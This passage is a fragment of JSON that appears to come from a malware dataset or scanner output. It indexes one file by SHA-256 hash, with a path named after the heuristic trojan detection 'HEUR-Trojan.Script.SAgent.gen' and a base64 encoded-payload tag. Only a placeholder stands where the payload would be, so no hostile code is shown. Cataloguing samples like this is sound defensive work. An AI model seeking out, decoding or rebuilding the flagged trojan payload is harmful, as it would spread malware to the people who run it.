              "\u003cbinary data\u003e \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          }
        ],
        "sha": "d5a9518f65e537df37484b71362c2390c3f0751ad7f7b1388552d4ae8acaf2a7",
        "path": "HEUR-Trojan.Script.SAgent.gen-d5a9518f65e537df37484b71362c2390c3f0751ad7f7b1388552d4ae8acaf2a7",
        "type": "kotlin"
      }
    ],
    "tv": "51ad9"
  }
}